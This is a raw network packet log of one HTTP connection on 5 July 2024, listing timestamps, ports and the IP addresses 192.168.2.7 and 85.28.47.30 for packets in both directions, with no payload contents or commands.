Jul 5, 2024 06:23:08.018731117 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018767118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018771887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018783092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018788099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018819094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018825054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018831015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018841982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018847942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018848896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018857956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018887997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018889904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018894911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018948078 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018966913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018971920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018989086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018992901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018997908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019016027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019037008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019051075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019056082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019061089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019071102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019085884 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019088030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019109011 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019134998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019207954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019213915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019220114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019226074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019231081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019237995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019251108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019252062 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019257069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019260883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019293070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019315958 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019387007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019392967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019404888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019437075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019455910 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019481897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019488096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019499063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019504070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019510031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019531965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019560099 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019640923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019655943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019666910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019699097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019714117 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019722939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019736052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019742012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019752026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019759893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019761086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019782066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019805908 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.019942045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019958019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019967079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.019992113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.020004988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.020086050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020092010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020106077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020111084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020117044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020137072 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.020162106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.020318031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020360947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.020373106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020416975 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.020508051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020514011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020519018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020551920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.020565033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020570040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020581007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020586967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.020611048 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.020627975 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.128535032 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.133313894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310266018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310281992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310292959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310312033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310318947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310337067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310352087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310353994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310358047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310359955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310363054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310369015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310375929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310381889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310385942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310391903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310399055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310405970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310499907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310508013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310516119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310527086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310533047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310539961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310543060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310548067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310559034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310561895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310569048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310576916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310578108 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310581923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310599089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310609102 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310638905 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310647964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310655117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310664892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310671091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310677052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310682058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310693026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310694933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310698986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310714006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310717106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310729980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310736895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310741901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310746908 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310756922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310777903 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310796976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310899973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310906887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310928106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310934067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310945988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310949087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310951948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310964108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310967922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310972929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310986042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.310986042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.310992002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311002970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311007977 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311007977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311021090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311027050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311028004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311039925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311069965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311085939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311089993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311093092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311105013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311111927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311116934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311120987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311127901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311131954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311137915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311145067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311151028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311157942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311160088 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311183929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311203957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311322927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311337948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311347961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311384916 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311398029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311410904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311417103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311423063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311429024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311439037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311440945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311449051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311460972 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311491966 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311508894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311516047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311526060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311532021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311537027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311542034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311547041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311553001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311558962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311559916 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311566114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311572075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311578035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311583042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311584949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311590910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311602116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311618090 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311621904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311635017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311644077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311645985 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311659098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311669111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311671019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311675072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311696053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311701059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311706066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311706066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311712027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311719894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311727047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311727047 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311748028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311767101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311826944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311831951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311858892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311863899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.311873913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.311908960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.312043905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.312056065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.312062025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.312072039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.312098980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.312108040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.403956890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.403983116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404002905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404009104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404015064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404021978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404026985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404032946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404038906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404124022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404129982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404149055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404155016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404160976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404165983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404170990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404177904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404184103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404196024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404241085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404279947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404278040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404289961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404378891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404385090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404397011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404402018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404408932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404413939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404419899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404427052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404431105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404438019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404445887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404459000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404462099 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404465914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404494047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404499054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404500008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404505968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404517889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404525042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404531002 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404537916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404545069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404601097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404601097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404630899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404638052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404649019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404654026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404664993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404670954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404679060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404684067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404690027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404697895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404733896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404733896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404757023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404762983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404773951 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404792070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404797077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404808044 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404808998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404817104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404823065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404829979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404834986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404840946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404841900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404846907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404853106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404859066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404865026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404876947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404907942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404907942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404915094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404922009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404936075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404939890 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.404941082 CEST	80	49699	85.28.47.30	192.168.2.7
